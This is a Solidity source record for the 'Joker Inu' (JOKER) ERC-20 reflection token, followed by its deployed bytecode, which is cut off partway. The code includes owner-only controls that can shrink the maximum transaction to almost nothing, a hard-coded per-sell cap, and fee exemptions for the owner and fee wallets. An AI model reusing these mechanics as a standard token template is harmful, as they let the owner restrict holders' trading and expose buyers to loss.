function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JOKER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Joker Inu";
string private constant _symbol = "JOKER";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private buyCooldownEnabled = false;
bool private sellCooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBuyCooldownEnabled(bool onoff) external onlyOwner() {
buyCooldownEnabled = onoff;
}
function setSellCooldownEnabled(bool onoff) external onlyOwner() {
sellCooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Too many tokens.");
// to buyer
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) {
require(tradingOpen, "Trading not yet enabled.");
require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
// from seller
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
require(amount <= 1e7 * 10**9);
if(sellCooldownEnabled) {
require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[from] = block.timestamp + (90 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
buyCooldownEnabled = true;
sellCooldownEnabled = true;
_maxTxAmount = 5e10 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxAmount(uint256 amount) external onlyOwner() {
require(amount > 0, "Amount must be greater than 0");
_maxTxAmount = amount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function maxTxAmount() public view returns (uint) {
return _maxTxAmount;
}
function sellCooldown() public view returns (bool) {
return sellCooldownEnabled;
}
function buyCooldown() public view returns (bool) {
return buyCooldownEnabled;
}
} | 0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e5d565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061297b565b610522565b6040516101a49190612e42565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf919061303f565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e42565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061292c565b610568565b6040516102379190612e42565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130b4565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129b7565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e42565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f8919061289e565b610785565b60405161030a919061303f565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c919061303f565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d74565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e5d565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd919061297b565b610999565b6040516103df9190612e42565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129b7565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a09565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f0565b610cde565b60405161049c919061303f565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a09565b6112a7565b005b60606040518060400160405280600981526020017f4a6f6b657220496e750000000000000000000000000000000000000000000000815250905090565b600061053661052f6113c2565b84846113ca565b6001905092915050565b600068056bc75e2d63100000905090565b6000601060179054906101000a900460ff16905090565b6000610575848484611595565b610636846105816113c2565b610631856040518060600160405280602881526020016136f660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6113ca565b600190509392505050565b60006009905090565b6106526113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f5f565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113c2565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611c93565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e565b9050919050565b6107de6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4a4f4b4552000000000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113c2565b8484611595565b6001905092915050565b6109bf6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f5f565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113c2565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611dfc565b50565b610aeb6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f5f565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f5f565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612eff565b60405180910390fd5b610c9c6064610c8e8368056bc75e2d631000006120f690919063ffffffff16565b61217190919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd3919061303f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f5f565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190612fff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113ca565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128c7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128c7565b6040518363ffffffff1660e01b815260040161100f929190612d8f565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128c7565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612de1565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a32565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506802b5e3af16b1880000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611251929190612db8565b602060405180830381600087803b15801561126b57600080fd5b505af115801561127f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a391906129e0565b5050565b6112af6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612f5f565b60405180910390fd5b6000811161137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612eff565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113b7919061303f565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612ebf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611588919061303f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc90612f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612e7f565b60405180910390fd5b600081116116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612f7f565b60405180910390fd5b6116c0610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172e57506116fe610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57601154811115611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f90612fdf565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118235750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118915750601060169054906101000a900460ff165b156119b757601060149054906101000a900460ff166118e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dc9061301f565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612f1f565b60405180910390fd5b600a426119739190613124565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c230610785565b9050601060159054906101000a900460ff16158015611a2f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a475750601060149054906101000a900460ff165b15611b6a57662386f26fc10000821115611a6057600080fd5b601060179054906101000a900460ff1615611b475742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aed90612f1f565b60405180910390fd5b605a42611b039190613124565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5081611dfc565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121bb565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612e5d565b60405180910390fd5b5060008385611c869190613205565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce360028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5f60028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8a573d6000803e3d6000fd5b5050565b6000600754821115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612e9f565b60405180910390fd5b6000611ddf6121e8565b9050611df4818461217190919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e885781602001602082028036833780820191505090505b5090503081600081518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6857600080fd5b505afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa091906128c7565b81600181518110611fda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ca565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a595949392919061305a565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415612109576000905061216b565b6000828461211791906131ab565b9050828482612126919061317a565b14612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d90612f3f565b60405180910390fd5b809150505b92915050565b60006121b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612213565b905092915050565b806121c9576121c8612276565b5b6121d48484846122b9565b806121e2576121e1612484565b5b50505050565b60008060006121f5612498565b9150915061220c818361217190919063ffffffff16565b9250505090565b6000808311829061225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122519190612e5d565b60405180910390fd5b5060008385612269919061317a565b9050809150509392505050565b600060095414801561228a57506000600a54145b15612294576122b7565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cb876124fa565b95509550955095509550955061232986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123be85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240a8161260a565b61241484836126c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612471919061303f565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b60008060006007549050600068056bc75e2d6310000090506124ce68056bc75e2d6310000060075461217190919063ffffffff16565b8210156124ed5760075468056bc75e2d631000009350935050506124f6565b81819350935050505b9091565b60008060008060008060008060006125178a600954600a54612701565b92509250925060006125276121e8565b9050600080600061253a8e878787612797565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125bb9190613124565b905083811015612600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f790612edf565b60405180910390fd5b8091505092915050565b60006126146121e8565b9050600061262b82846120f690919063ffffffff16565b905061267f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dc8260075461256290919063ffffffff16565b6007819055506126f7816008546125ac90919063ffffffff16565b6008819055505050565b60008060008061272d606461271f888a6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127576064612749888b6120f690919063ffffffff16565b61217190919063ffffffff16565b9050600061278082612772858c61256290919063ffffffff16565b61256290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b085896120f690919063ffffffff16565b905060006127c786896120f690919063ffffffff16565b905060006127de87896120f690919063ffffffff16565b90506000612807826127f9858761256290919063ffffffff16565b61256290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061282f816136b0565b92915050565b600081519050612844816136b0565b92915050565b600081359050612859816136c7565b92915050565b60008151905061286e816136c7565b92915050565b600081359050612883816136de565b92915050565b600081519050612898816136de565b92915050565b6000602082840312156128b057600080fd5b60006128be84828501612820565b91505092915050565b6000602082840312156128d957600080fd5b60006128e784828501612835565b91505092915050565b6000806040838503121561290357600080fd5b600061291185828601612820565b925050602061292285828601612820565b9150509250929050565b60008060006060848603121561294157600080fd5b600061294f86828701612820565b935050602061296086828701612820565b9250506040612971868287